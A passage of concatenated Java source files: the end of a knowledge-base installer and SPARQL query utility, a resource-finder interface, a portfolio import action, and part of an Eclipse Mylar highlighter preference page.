<b>kibe</b> format and its default version <b>0</b>. * * @param knsServer the {@link URL} of the KNS service that will be used to lookup. * @param knowledgebase the {@link URL} of the knowledge base that is going to be installed. * @param isFactory a {@link InputStreamFactory} to be used to create a stream connection with the resolved resource's URL. * * @throws KBNotResolvedException if the given knowledge base can not be resolved. * @throws Exception if any error occurs during the indexing process. */ public static void installFromKNSServer(URL knsServer, URL knowledgebase, InputStreamFactory isFactory) throws KBNotResolvedException, Exception { KN resolvedKN = resolve(knsServer, knowledgebase); assertNotNull(new KBNotResolvedException(knowledgebase.toString()), resolvedKN); install(resolvedKN.getTargetURL(), knowledgebase, getValue(resolvedKN.getFormat(), DEFAULT_FORMAT), getValue(resolvedKN.getVersion(), DEFAULT_VERSION), isFactory); } /** * Install a given knowledge base resolved by a given KNS service. * This method uses the default version 0. * * @param knsServer the {@link URL} of the KNS service that will be used to lookup. * @param knowledgebase the {@link URL} of the knowledge base that is going to be installed. * @param format the KB format. * * @throws KBNotResolvedException if the given knowledge base can not be resolved. * @throws Exception if any error occurs during the indexing process. */ public static void installFromKNSServer(URL knsServer, URL knowledgebase, String format) throws KBNotResolvedException, Exception { installFromKNSServer(knsServer, knowledgebase, format, new DefaultInputStreamFactory()); } /** * Install a given knowledge base resolved by a given KNS service. * * @param knsServer the {@link URL} of the KNS service that will be used to lookup. * @param knowledgebase the {@link URL} of the knowledge base that is going to be installed. * @param format the KB format. * @param version the KB version. * * * @throws KBNotResolvedException if the given knowledge base can not be resolved. * @throws Exception if any error occurs during the indexing process. */ public static void installFromKNSServer(URL knsServer, URL knowledgebase, String format, String version) throws KBNotResolvedException, Exception { installFromKNSServer(knsServer, knowledgebase, format, version, new DefaultInputStreamFactory()); } /** * Install a given knowledge base resolved by a given KNS service. * * @param knowledge base the {@link URL} of the knowledge base that is going to be installed. * @param knsServer the {@link URL} of the KNS service that will be used to lookup. * @param format the KB format. * @param isFactory stream factory to be used to open stream with the source knowledge base. * * @throws KBNotResolvedException if the given knowledge base can not be resolved. * @throws Exception if any error occurs during the indexing process. */ public static void installFromKNSServer(URL knsServer, URL knowledgebase, String format, InputStreamFactory isFactory) throws KBNotResolvedException, Exception { KN resolvedKN = resolve(knsServer, knowledgebase, format); assertNotNull(new KBNotResolvedException(knowledgebase.toString()), resolvedKN); install(resolvedKN.getTargetURL(), knowledgebase, getValue(format, DEFAULT_FORMAT), getValue(resolvedKN.getVersion(), DEFAULT_VERSION), isFactory); } /** * Install a given knowledge base resolved by a given KNS service. * This method uses {@link ZipAppInstall} as install method. * * @param knowledge base the {@link URL} of the knowledge base that is going to be installed. * @param knsServer the {@link URL} of the KNS service that will be used to lookup. * @param format the KB format. * @param version the KB version. * @param isFactory stream factory to be used to open stream with the source knowledge base. * * @throws KBNotResolvedException if the given knowledge base can not be resolved. * @throws Exception if any error occurs during the indexing process. */ public static void installFromKNSServer(URL knsServer, URL knowledgebase, String format, String version, InputStreamFactory isFactory) throws KBNotResolvedException, Exception { KN resolvedKN = resolve(knsServer, knowledgebase, format, version); assertNotNull(new KBNotResolvedException(knowledgebase.toString()), resolvedKN); install(resolvedKN.getTargetURL(), knowledgebase, format, version, isFactory); } /** * Create index on the given file with the given RDF files. * * @param indexFile destiny file to store the index. * @param filesToIndex the files containing the knowledge base to be indexed. * * @throws Exception if any error occurs during the indexing process. */ public static void createIndex(File indexFile, URL[] filesToIndex) throws Exception { Path indexDirPath = Files.createTempDirectory("kb"); File indexDirFile = indexDirPath.toFile(); TDB.bulkload(indexDirFile.getPath(), filesToIndex); ZIPUtil.zip(indexDirFile.getAbsolutePath(), indexFile.getAbsolutePath()); } /** * Query the given knowledge bases. * * @param sparql the SPARQL query. * @param isFactory a {@link InputStreamFactory} to be invoked in case a knowledge base is dereferenced. * @param install when true the knowledge base is auto-dereferenced when not found or not otherwise. * @param knowledgeNames the Knowledge base Names to be queried. * * @return a result set with the given query solution. * * @throws Exception if any of the given knowledge bases can not be found. */ public static ResultSet query(String sparql, InputStreamFactory isFactory, boolean install, URL... knowledgeNames) throws Exception { String[] knowledgeBasesPaths = getKowledgebases(isFactory, install, knowledgeNames); return TDB.query(sparql, knowledgeBasesPaths); } /** * * Query the given knowledge bases. * * @param isFactory a {@link InputStreamFactory} to stream the given KB in case they are not locally available. * @param install when true the knowledge base is auto-dereferenced when not found or not otherwise. * @param knowledgeNames the knowledge base Names to be queried. * * @return a model with the given RDF KB names. * * @throws Exception if any of the given knowledge bases can not be found. */ public static Model createModel(InputStreamFactory isFactory, boolean install, URL... knowledgeNames) throws Exception { String[] knowledgeBasesPaths = getKowledgebases(isFactory, install, knowledgeNames); return TDB.createModel(knowledgeBasesPaths); } private static String[] getKowledgebases(InputStreamFactory isFactory, boolean install, URL... urls) throws Exception { String[] knowledgeBasesPaths = new String[urls.length]; int i = 0; Locate kbLocate = new AppLocate(); KBResolver kbResolver = new KBResolver(); DefaultKNSServerList knsServerList = new DefaultKNSServerList(); for(URL knowledgeBase : urls) { try { File kbDir = getResource(knsServerList, knowledgeBase, kbLocate, DEFAULT_FORMAT, DEFAULT_VERSION, kbResolver, new ZipAppInstall(), isFactory, install); knowledgeBasesPaths[i] = kbDir.getAbsolutePath(); i++; } catch (ResourceNotResolvedException e) { throw new KBNotResolvedException("Knowledge base " + knowledgeBase.toString() + " is not installed." + " You can install it using the command install."); } catch (KBDereferencingException e) { throw new KBDereferencingException(knowledgeBase.toString(), e); } } return knowledgeBasesPaths; } /** * Get the KB from the given KNS Server {@link URL} with the given format and version. * * @param knsServerList the {@link KNSServerList} to lookup for the give KB {@link URL}. * @param kbURL the {@link URL} of the KB. * @param format the KB format. * @param isFactory the {@link InputStreamFactory} to be used to open the KB file stream. * * ps: This method automatically dereference the KB from the KNS Server in case it * can not be found locally. * * @return the KB {@link File} or {@link null} if the KB does not exist or could not be located. * * @throws Exception if some error occurs during while getting the KB. */ public static File getResource(KNSServerList knsServerList, URL kbURL, String format, InputStreamFactory isFactory ) throws Exception { return getResource(knsServerList, kbURL, format, DEFAULT_VERSION, isFactory, true); } /** * Get the KB from the given KNS Server {@link URL} with the given format and version. * * @param knsServerList the {@link KNSServerList} to lookup for the give KB {@link URL}. * @param kbURL the {@link URL} of the KB. * @param format the KB format. * @param version the KB version. * @param isFactory the {@link InputStreamFactory} to be used to open the KB file stream. * * ps: This method automatically dereference the KB from the KNS Server in case it * can not be found locally. * * @return the KB {@link File} or {@link null} if the KB does not exist or could not be located. * * @throws Exception if some error occurs during while getting the KB. */ public static File getResource(KNSServerList knsServerList, URL kbURL, String format, String version, InputStreamFactory isFactory ) throws Exception { return getResource(knsServerList, kbURL, format, version, isFactory, true); } /** * Get the KB from the given KNS Server {@link URL} with the given format and version. * * @param knsServerList the {@link KNSServerList} to lookup for the give KB {@link URL}. * @param kbURL the {@link URL} of the KB. * @param format the KB format. * @param version the KB version. * @param isFactory the {@link InputStreamFactory} to be used to open the KB file stream. * @param install true if the KB should be installed and false otherwise. * * @return the KB {@link File} or {@link null} if the KB does not exist or could not be located. * * @throws Exception if some error occurs during while getting the KB. */ public static File getResource(KNSServerList knsServerList, URL kbURL, String format, String version, InputStreamFactory isFactory, boolean install ) throws Exception { Locate kbLocate = new AppLocate(); Resolver kbResolver = new KBResolver(); try { File kbDir = getResource(knsServerList, kbURL, kbLocate, DEFAULT_FORMAT, DEFAULT_VERSION, kbResolver, new ZipAppInstall(), isFactory, install); return kbDir; } catch (ResourceNotResolvedException e) { throw new KBNotResolvedException("Knowledge base " + kbURL.toString() + " is not installed." + " You can install it using the command install."); } catch (KBDereferencingException e) { throw new KBDereferencingException(kbURL.toString(), e); } } /** * Get the KB from the given KNS Server {@link URL} with the given format and version. * * @param knsServerURL the KNS Server {@link URL}. * @param kbURL the {@link URL} of the KB. * @param format the KB format. * @param isFactory the {@link InputStreamFactory} to open the KB file stream. * * ps: This method automatically dereference the KB from the KNS Server in case it * can not be found locally. * * @return the KB {@link File} or null if the KB does not exist or could not be located. * * @throws Exception if some error occurs during while getting the resource. */ public static File getResource(URL knsServerURL, URL kbURL, String format, InputStreamFactory isFactory ) throws Exception { return getResource(knsServerURL, kbURL, format, DEFAULT_VERSION, isFactory, true); } /** * Get the KB from the given KNS Server {@link URL} with the given format and version. * * @param knsServerURL the KNS Server {@link URL}. * @param kbURL the {@link URL} of the KB. * @param format the KB format. * @param version the KB version. * @param isFactory the {@link InputStreamFactory} to open the KB file stream. * * ps: This method automatically dereference the KB from the KNS Server in case it * can not be found locally. * * @return the KB {@link File} or null if the KB does not exist or could not be located. * * @throws Exception if some error occurs during while getting the resource. */ public static File getResource(URL knsServerURL, URL kbURL, String format, String version, InputStreamFactory isFactory ) throws Exception { return getResource(knsServerURL, kbURL, format, version, isFactory, true); } /** * Get the KB from the given KNS Server {@link URL} with the given format and version. * * @param knsServerURL the KNS Server {@link URL}. * @param kbURL the {@link URL} of the KB. * @param format the KB format. * @param version the KB version. * @param isFactory the {@link InputStreamFactory} to open the KB file stream. * @param install true if the KB should be installed and false otherwise. * * @return the KB {@link File} or null if the KB does not exist or could not be located. * * @throws Exception if some error occurs during while getting the resource. */ public static File getResource(URL knsServerURL, URL kbURL, String format, String version, InputStreamFactory isFactory, boolean install ) throws Exception { final KNSServer knsServer = new KNSServer(knsServerURL); KNSServerList knsServerList = new KNSServerList() { @Override public boolean visit(KNSServerListVisitor visitor) throws Exception { visitor.visit(knsServer); return false; } }; return getResource(knsServerList, kbURL, format, version, isFactory, install); } /** * Create a {@link Model} with a given RDF knowledge base Names. * Warning: This method automatically dereference the RDF KBs. * * @param knowledgeNames the RDF KB Names to be queried. * * @return a {@link Model} containing the RDF KBs. * * @throws Exception if some error occurs during the knowledge base * dereference or model instantiation. */ public static Model createModel(URL... knowledgeNames) throws Exception { return createModel(new DefaultInputStreamFactory(), true, knowledgeNames); } /** * Create a Model with a given Knowledge base Names. * * * @param install install a given knowledge base in case it does not exist. * @param knowledgeNames the RDF KB Names to be queried. * * @return a {@link Model} containing the RDF KBs. * * @throws Exception if some error occurs during the KB * dereference or model instantiation. */ public static Model createModel(boolean install, URL... knowledgeNames) throws Exception { return createModel(new DefaultInputStreamFactory(), install, knowledgeNames); } /** * Query a given model. * * @param sparql the SPARQL query that will be used to query. * @param model the {@link Model} that will be queried. * * @return a {@link ResultSet} containing the result to a given query. * * @throws Exception if some error occurs during the query execution. */ public static ResultSet query(String sparql, Model model) throws Exception { return TDB.query(sparql, model); } /** * Query a given Query a given KBox service endpoints. * * @param sparql the SPARQL query that will be used to query. * @param url the {@link URL} of the service. * * @return a {@link ResultSet} containing the result to a given query. * * @throws Exception if some error occurs during the query execution. */ public static ResultSet query(String sparql, ServerAddress service) throws Exception { return TDB.queryService(sparql, service); } /** * Query the given knowledge bases. * * @param sparql the SPARQL query. * @param knowledgeNames the knowledge base names to be queried. * * @return a result set with the given query solution. * * @throws Exception if any of the given knowledge bases can not be found. */ public static ResultSet query(String sparql, URL... knowledgeNames) throws Exception { Model model = createModel(new DefaultInputStreamFactory(), true, knowledgeNames); return query(sparql, model); } /** * Query the given knowledge bases. * * @param sparql the SPARQL query. * @param install specify if the knowledge base should be installed (true) or not (false). * @param knowledgeNames the RDF KB names to be queried. * * @return a result set with the given query solution. * * @throws Exception if any of the given knowledge bases can not be found. */ public static ResultSet query(String sparql, boolean install, URL... knowledgeNames) throws Exception { Model model = createModel(new DefaultInputStreamFactory(), install, knowledgeNames); return query(sparql, model); } /** * Returns the local knowledge base directory. * * @param url that will be used to locate the Knowledge base * * @return the local mirror directory of the knowledge base. * * @throws Exception if any error occurs while locating the Knowledge Base. */ public static File locate(URL url) throws Exception { Locate kbLocate = new AppLocate(); return locate(url, DEFAULT_FORMAT, DEFAULT_VERSION, kbLocate); } /** * Returns the local Knowledge base directory. * * @param url that will be used to locate the Knowledge base. * @param format the KB format. * * @return the local mirror directory of the knowledge base. * * @throws Exception if any error occurs while locating the Knowledge Base. */ public static File locate(URL url, String format) throws Exception { return locate(url, format, DEFAULT_VERSION); } /** * Returns the local Knowledge base directory. * * @param url that will be used to locate the knowledge base. * @param format the KB format. * @param version the KB version. * * @return the local mirror directory of the knowledge base. * * @throws Exception if any error occurs while locating the Knowledge Base. */ public static File locate(URL url, String format, String version) throws Exception { Locate kbLocate = new AppLocate(); return locate(url, format, version, kbLocate); } /** * Resolve the given {@link URL} in the available KNS. * The first KNS to be checked is the default KNS, * thereafter the user's KNS. * * @param resourceURL the {@link URL} to be resolved by the KNS. * * @return a resolved {@link KN} or {@link null} if the given resource's {@link URL} can not be resolved. * * @throws Exception if any error occurs during the operation. */ public static KN resolve(URL resourceURL) throws Exception { DefaultKNSServerList kibeKNSServerList = new DefaultKNSServerList(); return resolve(kibeKNSServerList, resourceURL); } /** * Resolve the given {@link URL} in the available KNS. * The first KNS to be checked is the default KNS, * thereafter the user's KNS. * * @param knsServerURL the {@link URL} of the KNS Server. * @param resourceURL the {@link URL} to be resolved by the KNS. * * @return the resolved {@link KN} or {@link null} if the given resource's {@link URL} can not be resolved. * * @throws Exception if any error occurs during the operation. */ public static KN resolve(URL knsServerURL, URL resourceURL) throws Exception { KBResolver resolver = new KBResolver(); return resolve(knsServerURL, resourceURL, resolver); } /** * Resolve the given {@link URL} in the available KNS. * The first KNS to be checked is the default KNS, * thereafter the user's KNS. * * @param knsServerURL the {@link URL} of the KNS Server. * @param resourceURL the {@link URL} to be resolved by the KNS. * @param format the KB format. * * @return the resolved {@link KN} or {@link null} if the given resource's {@link URL} can not be resolved. * * @throws Exception if any error occurs during the operation. */ public static KN resolve(URL knsServerURL, URL resourceURL, String format) throws Exception { KBResolver resolver = new KBResolver(); return resolve(knsServerURL, resourceURL, format, resolver); } /** * Resolve the given {@link URL} in the available KNS. * The first KNS to be checked is the default KNS, * thereafter the user's KNS. * * @param knsServerURL the {@link URL} of the KNS Server. * @param resourceURL the {@link URL} to be resolved by the KNS. * @param format the KB format. * @param version the KB version. * * @return the resolved {@link KN} or {@link null} if the given resource's {@link URL} can not be resolved. * * @throws Exception if any error occurs during the operation. */ public static KN resolve(URL knsServerURL, URL resourceURL, String format, String version) throws Exception { KBResolver resolver = new KBResolver(); return resolve(knsServerURL, resourceURL, format, version, resolver); } /** * Iterate over all available KNS services with a given visitor. * * @param visitor an implementation of {@link KNSServerListVisitor}. * * @throws Exception if any error occurs during the operation. */ public static void visit(KNSServerListVisitor visitor) throws Exception { DefaultKNSServerList kibeKNSServerList = new DefaultKNSServerList(); kibeKNSServerList.visit(visitor); } }
package jj.resource; import jj.configuration.Location; /** * Inject this to get resources from the filesystem * @author jason * */ public interface ResourceFinder { /** * <p> * looks in the resource cache for a resource matching the given spec, * which is a resource dependent set of lookup parameters. returns null * if no such resource is in the cache, which means it hasn't been loaded * yet * * @param resourceClass The type of <code>Resource</code> * @param base The {@link Location} of the <code>Resource</code> * @param name The name of the <code>Resource</code> * @param args The creation arguments of the <code>Resource</code> * @return the {@link Resource}, or null if not found */ <T extends Resource> T findResource(Class<T> resourceClass, Location base, String name, Object...args); /** * <p> * loads a resource matching the given resource spec, if necessary, and populates * the cache. can only be called via a {@link ResourceTask}. if the resource spec does * not identify a valid resource, this returns null. if a resource is returned from this method, * then it will be watched for changes and automatically updated * * @param resourceClass The type of <code>Resource</code> * @param base The {@link Location} of the <code>Resource</code> * @param name The name of the <code>Resource</code> * @param args The creation arguments of the <code>Resource</code> * @return the {@link Resource}, or null if not found */ @ResourceThread <T extends Resource> T loadResource(Class<T> resourceClass, Location base, String name, Object...args); }
package name.abuchen.portfolio.datatransfer.actions; import java.text.MessageFormat; import name.abuchen.portfolio.Messages; import name.abuchen.portfolio.datatransfer.Extractor.NonImportableItem; import name.abuchen.portfolio.datatransfer.ImportAction; import name.abuchen.portfolio.datatransfer.ImportAction.Status.Code; public class MarkNonImportableAction implements ImportAction { @Override public Status process(NonImportableItem item) { return new Status(Code.ERROR, MessageFormat.format(Messages.MsgErrorTransactionTypeNotSupported, "\n" + item.getTypeInformation())); } }
package org.eclipse.mylar.internal.ui.preferences; import java.util.Arrays; import org.eclipse.jface.preference.IntegerFieldEditor; import org.eclipse.jface.preference.PreferencePage; import org.eclipse.jface.preference.StringFieldEditor; import org.eclipse.jface.viewers.CellEditor; import org.eclipse.jface.viewers.ColorCellEditor; import org.eclipse.jface.viewers.ComboBoxCellEditor; import org.eclipse.jface.viewers.ICellEditorListener; import org.eclipse.jface.viewers.ICellModifier; import org.eclipse.jface.viewers.IStructuredContentProvider; import org.eclipse.jface.viewers.IStructuredSelection; import org.eclipse.jface.viewers.ITableLabelProvider; import org.eclipse.jface.viewers.LabelProvider; import org.eclipse.jface.viewers.TableViewer; import org.eclipse.jface.viewers.TextCellEditor; import org.eclipse.jface.viewers.Viewer; import org.eclipse.jface.viewers.ViewerSorter; import org.eclipse.mylar.internal.ui.Highlighter; import org.eclipse.mylar.internal.ui.HighlighterImageDescriptor; import org.eclipse.mylar.internal.ui.MylarUiPrefContstants; import org.eclipse.mylar.provisional.ui.MylarUiPlugin; import org.eclipse.swt.SWT; import org.eclipse.swt.events.SelectionAdapter; import org.eclipse.swt.events.SelectionEvent; import org.eclipse.swt.events.SelectionListener; import org.eclipse.swt.graphics.Color; import org.eclipse.swt.graphics.Image; import org.eclipse.swt.graphics.RGB; import org.eclipse.swt.layout.GridData; import org.eclipse.swt.layout.GridLayout; import org.eclipse.swt.widgets.Button; import org.eclipse.swt.widgets.Composite; import org.eclipse.swt.widgets.Control; import org.eclipse.swt.widgets.Display; import org.eclipse.swt.widgets.Group; import org.eclipse.swt.widgets.Label; import org.eclipse.swt.widgets.Table; import org.eclipse.swt.widgets.TableColumn; import org.eclipse.swt.widgets.TableItem; import org.eclipse.swt.widgets.Text; import org.eclipse.ui.IWorkbench; import org.eclipse.ui.IWorkbenchPreferencePage; import org.eclipse.ui.dialogs.PreferenceLinkArea; import org.eclipse.ui.preferences.IWorkbenchPreferenceContainer; /** * Preference page for mylar. Allows for adding / removing highlighters and * gamma settings. * * @author Ken Sueda * @author Mik Kersten */ public class MylarPreferencePage extends PreferencePage implements IWorkbenchPreferencePage, SelectionListener, ICellEditorListener { private StringFieldEditor exclusionFieldEditor; private IntegerFieldEditor autoOpenEditorsNum; private Table table; private TableViewer tableViewer; private ColorCellEditor colorDialogEditor; private Highlighter selection = null; private HighlighterContentProvider contentProvider = null; private Button manageEditorsButton = null; // Buttons for gamma setting // private Button lightened; // private Button darkened; // private Button standard; // Set the table column property names private static final String LABEL_COLUMN = "Label"; private static final String COLOR_COLUMN = "Color"; private static final String TYPE_COLUMN = "Type"; private static String[] columnNames = new String[] { LABEL_COLUMN, COLOR_COLUMN, TYPE_COLUMN, }; static final String[] TYPE_ARRAY = { "Gradient", "Solid" }; // "Intersection" /** * Constructor - set preference store to MylarUiPlugin store since the * tasklist plugin needs access to the values stored from the preference * page because it needs access to the highlighters on start up. * */ public MylarPreferencePage() { super(); setPreferenceStore(MylarUiPlugin.getPrefs()); setTitle("Mylar"); // setDescription("Mylar UI Preferences"); } @Override protected Control createContents(Composite parent) { Composite entryTable = new Composite(parent, SWT.NULL); GridLayout layout = new GridLayout(1, false); layout.verticalSpacing = 4; entryTable.setLayout(layout); createEditorsSection(entryTable); createExclusionFilterControl(entryTable); createTable(entryTable); createTableViewer(); contentProvider = new HighlighterContentProvider(); tableViewer.setContentProvider(contentProvider); tableViewer.setLabelProvider(new HighlighterLabelProvider()); tableViewer.setInput(MylarUiPlugin.getDefault().getHighlighterList()); // createGammaSettingControl(entryTable); // lightened.setEnabled(false); // darkened.setEnabled(false); // standard.setEnabled(false); return entryTable; } public void init(IWorkbench workbench) { // don't have anything to initialize } /** * Handle selection of an item in the menu. */ public void widgetDefaultSelected(SelectionEvent se) { widgetSelected(se); } /** * Handle selection of an item in the menu. */ public void widgetSelected(SelectionEvent se) { // don't care when the widget is selected } /** * Handle Ok and Apply Store all data in the preference store */ @Override public boolean performOk() { getPreferenceStore().setValue(MylarUiPrefContstants.HIGHLIGHTER_PREFIX, MylarUiPlugin.getDefault().getHighlighterList().externalizeToString()); getPreferenceStore().setValue(MylarUiPrefContstants.INTEREST_FILTER_EXCLUSION, exclusionFieldEditor.getStringValue()); getPreferenceStore().setValue(MylarUiPrefContstants.AUTO_MANAGE_EDITORS, manageEditorsButton.getSelection()); int value = autoOpenEditorsNum.getIntValue(); if (value > 0) { getPreferenceStore().setValue(MylarUiPrefContstants.AUTO_MANAGE_EDITORS_OPEN_NUM, value); } // ColorMap.GammaSetting gm = null; // if (standard.getSelection()) { // getPreferenceStore().setValue(MylarUiPlugin.GAMMA_SETTING_LIGHTENED,false); // getPreferenceStore().setValue(MylarUiPlugin.GAMMA_SETTING_STANDARD,true); // getPreferenceStore().setValue(MylarUiPlugin.GAMMA_SETTING_DARKENED,false); // gm = ColorMap.GammaSetting.STANDARD; // } else if (lightened.getSelection()) { // getPreferenceStore().setValue(MylarUiPlugin.GAMMA_SETTING_LIGHTENED,true); // getPreferenceStore().setValue(MylarUiPlugin.GAMMA_SETTING_STANDARD,false); // getPreferenceStore().setValue(MylarUiPlugin.GAMMA_SETTING_DARKENED,false); // gm = ColorMap.GammaSetting.LIGHTEN; // } else if (darkened.getSelection()) { // getPreferenceStore().setValue(MylarUiPlugin.GAMMA_SETTING_LIGHTENED,false); // getPreferenceStore().setValue(MylarUiPlugin.GAMMA_SETTING_STANDARD,false); // getPreferenceStore().setValue(MylarUiPlugin.GAMMA_SETTING_DARKENED,true); // gm = ColorMap.GammaSetting.DARKEN; // update gamma setting // MylarUiPlugin.getDefault().updateGammaSetting(gm); return true; } /** * Handle Cancel Undo all changes back to what is stored in preference store */ @Override public boolean performCancel() { String highlighters = getPreferenceStore().getString(MylarUiPrefContstants.HIGHLIGHTER_PREFIX); MylarUiPlugin.getDefault().getHighlighterList().internalizeFromString(highlighters); contentProvider = new HighlighterContentProvider(); tableViewer.setContentProvider(contentProvider); // lightened.setSelection(getPreferenceStore().getBoolean( // MylarUiPlugin.GAMMA_SETTING_LIGHTENED)); // standard.setSelection(getPreferenceStore().getBoolean( // MylarUiPlugin.GAMMA_SETTING_STANDARD)); // darkened.setSelection(getPreferenceStore().getBoolean( // MylarUiPlugin.GAMMA_SETTING_DARKENED)); return true; } /** * Handle RestoreDefaults Note: changes to default are not stored in the * preference store until OK or Apply is pressed */ @Override public void performDefaults() { super.performDefaults(); contentProvider = new HighlighterContentProvider(); tableViewer.setContentProvider(contentProvider); // standard.setSelection(getPreferenceStore().getDefaultBoolean( // MylarUiPlugin.GAMMA_SETTING_STANDARD)); // lightened.setSelection(getPreferenceStore().getDefaultBoolean( // MylarUiPlugin.GAMMA_SETTING_LIGHTENED)); // darkened.setSelection(getPreferenceStore().getDefaultBoolean( // MylarUiPlugin.GAMMA_SETTING_DARKENED)); MylarUiPlugin.getDefault().getHighlighterList().setToDefaultList(); return; } /** * applyEditorValue - method called when Color selected */ public void applyEditorValue() { Object obj = colorDialogEditor.getValue(); if (!colorDialogEditor.isDirty() || !colorDialogEditor.isValueValid()) { return; } if (obj instanceof RGB) { // create new color RGB rgb = (RGB) obj; Color c = new Color(Display.getCurrent(), rgb.red, rgb.green, rgb.blue); if (selection != null) { // selection is the highlighter that has been selected // set the core color to new color. // update Highlighter in contentProvider selection.setCore(c); contentProvider.updateHighlighter(selection); } } else { // ignore // MylarPlugin.log("Received Unknown change in Editor: ", this); } } public void cancelEditor() { // don't care about this } public void editorValueChanged(boolean oldValidState, boolean newValidState) { // don't care when the value is changed } /** * Class HighlighterLabelProvider - Label and image provider for tableViewer */ private static class HighlighterLabelProvider extends LabelProvider implements ITableLabelProvider { public HighlighterLabelProvider() { // don't have any initialization to do } /** * getColumnText - returns text for label and combo box cells */ public String getColumnText(Object obj, int columnIndex) { String result = ""; if (obj instanceof Highlighter) { Highlighter h = (Highlighter) obj; switch (columnIndex) { case 0: // return name for label column result = h.getName(); break; case 2: // return type for type column result = h.getHighlightKind(); break; default: break; } } return result; } /** * getColumnImage - returns image for color column */ public Image getColumnImage(Object obj, int columnIndex) { if (obj instanceof Highlighter) { Highlighter h = (Highlighter) obj; switch (columnIndex) { case 1: HighlighterImageDescriptor des; if (h.isGradient()) { des = new HighlighterImageDescriptor(h.getBase(), h.getLandmarkColor()); } else { des = new HighlighterImageDescriptor(h.getLandmarkColor(), h.getLandmarkColor()); } return des.getImage(); default: break; } } return null; } } /** * Class HighLighterContentProvider - content provider for table viewer */ private class HighlighterContentProvider implements IStructuredContentProvider { /** * getElements - returns array of Highlighters for table */ public Object[] getElements(Object inputElement) { return MylarUiPlugin.getDefault().getHighlighterList().getHighlighters().toArray(); } public void dispose() { // don't care when we are disposed } public void inputChanged(Viewer viewer, Object oldInput, Object newInput) { // don't care when the input changes } /** * addHighlighter - notify the tableViewer to add a highlighter called * when a highlighter is added to the HighlighterList */ public void addHighlighter(Highlighter hl) { tableViewer.add(hl); } /** * removeHighlighter - notify the tableViewer to remove a highlighter * called when a highlighter is removed from the HighlighterList */ public void removeHighlighter(Highlighter hl) { tableViewer.remove(hl); } /** * updateHighlighter - notify the tableViewer to update a highlighter * called when a highlighter property has been changed */ public void updateHighlighter(Highlighter hl) { tableViewer.update(hl, null); } } /** * class HighlighterCellModifier - cellModifier for tableViewer handles all * modification to the table */ private class HighlighterCellModifier implements ICellModifier { HighlighterCellModifier() { super(); } public boolean canModify(Object element, String property) { return true; } /** * getValue - returns content of the current selection */ public Object getValue(Object element, String property) { // Find the index of the column int columnIndex = Arrays.asList(columnNames).indexOf(property); Object res = null; if (element instanceof Highlighter) { Highlighter hl = (Highlighter) element; switch (columnIndex) { case 0: // LABEL_COLUMN res = hl.getName(); break; case 1: // COLOR_COLUMN selection = hl; return selection.getCore().getRGB(); case 2: // KIND_COLUMN // return index of current value if (hl.isGradient()) { res = new Integer(0); } else if (hl.isIntersection()) { res = new Integer(2); } else { res = new Integer(1); } break; default: return null; } } return res; } /** * modify - modifies Highlighter with new property */ public void modify(Object element, String property, Object value) { // Find the index of the column int columnIndex = Arrays.asList(columnNames).indexOf(property); TableItem item = (TableItem) element; Highlighter hl = (Highlighter) item.getData(); switch (columnIndex) { case 0: // LABEL_COLUMN // change value of name if (value instanceof String) { // TableItem ti = (TableItem) element; hl.setName((String) value); // update contentprovider contentProvider.updateHighlighter(hl); } break; case 1: // COLOR_COLUMN // never gets called since color dialog is used. break; case 2: // KIND_COLUMN // sets new type if (value instanceof Integer) { int choice = ((Integer) value).intValue(); switch (choice) { case 0: // Gradient hl.setGradient(true); hl.setIntersection(false); break; case 1: // Solid hl.setGradient(false); hl.setIntersection(false); break; case 2: // Instersection hl.setGradient(false); hl.setIntersection(true); break; default: break; } // update content provider contentProvider.updateHighlighter(hl); } default: break; } return; } } /** * class HighlighterTableSorter - sort columns of table added to every * column as a sorter */ private static class HighlighterTableSorter extends ViewerSorter { public final static int LABEL = 1; public final static int COLOR = 2; public final static int TYPE = 3; private int criteria; /** * set the criteria */ public HighlighterTableSorter(int criteria) { super(); this.criteria = criteria; } /** * compare - invoked when column is selected calls the actual comparison * method for particular criteria */ @Override public int compare(Viewer viewer, Object o1, Object o2) { Highlighter h1 = (Highlighter) o1; Highlighter h2 = (Highlighter) o2; switch (criteria) { case LABEL: return compareLabel(h1, h2); case COLOR: return compareImage(h1, h2); case TYPE: return compareType(h1, h2); default: return 0; } } /** * compareLabel - compare by label */ protected int compareLabel(Highlighter h1, Highlighter h2) { return h1.getName().compareTo(h2.getName()); } /** * compareImage - do nothing */ protected int compareImage(Highlighter h1, Highlighter h2) { return 0; } /** * compareType - compare by type */ protected int compareType(Highlighter h1, Highlighter h2) { return h1.getHighlightKind().compareTo(h2.getHighlightKind()); } /** * getCriteria */ public int getCriteria() { return criteria; } } private void createTable(Composite parent) { Group tableComposite = new Group(parent, SWT.SHADOW_ETCHED_IN); tableComposite.setText("Context Highlighters"); tableComposite.setLayout(new GridLayout(2, false)); tableComposite.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); int style = SWT.SINGLE | SWT.BORDER | SWT.V_SCROLL | SWT.FULL_SELECTION | SWT.HIDE_SELECTION; table = new Table(tableComposite, style); GridData gridData = new GridData(); gridData.horizontalSpan = 2; gridData.horizontalAlignment = SWT.FILL; gridData.verticalAlignment = SWT.FILL; table.setLayoutData(gridData); table.setLinesVisible(true); table.setHeaderVisible(true); // 1st column with Label TableColumn column = new TableColumn(table, SWT.LEAD, 0); column.setResizable(false); column.setText("Label"); column.setWidth(150); column.addSelectionListener(new SelectionAdapter() { @Override public void widgetSelected(SelectionEvent e) { tableViewer.setSorter(new HighlighterTableSorter(HighlighterTableSorter.LABEL)); } }); // 2nd column with highlighter Description column = new TableColumn(table, SWT.LEAD, 1); column.setResizable(false); column.setText("Color"); column.setWidth(100); column.addSelectionListener(new SelectionAdapter() { @Override public void widgetSelected(SelectionEvent e) { tableViewer.setSorter(new HighlighterTableSorter(HighlighterTableSorter.COLOR)); } }); // 3rd column with Type column = new TableColumn(table, SWT.LEAD, 2); column.setResizable(false); column.setText("Kind"); column.setWidth(80); column.addSelectionListener(new SelectionAdapter() { @Override public void widgetSelected(SelectionEvent e) { tableViewer.setSorter(new HighlighterTableSorter(HighlighterTableSorter.TYPE)); } }); createAddRemoveButtons(tableComposite); } private void createTableViewer() { tableViewer = new TableViewer(table); tableViewer.setUseHashlookup(true); tableViewer.setColumnProperties(columnNames); CellEditor[] editors = new CellEditor[columnNames.length]; TextCellEditor textEditor = new TextCellEditor(table); ((Text) textEditor.getControl()).setTextLimit(20); ((Text) textEditor.getControl()).setOrientation(SWT.LEFT_TO_RIGHT); editors[0] = textEditor; colorDialogEditor = new ColorCellEditor(table); colorDialogEditor.addListener(this); editors[1] = 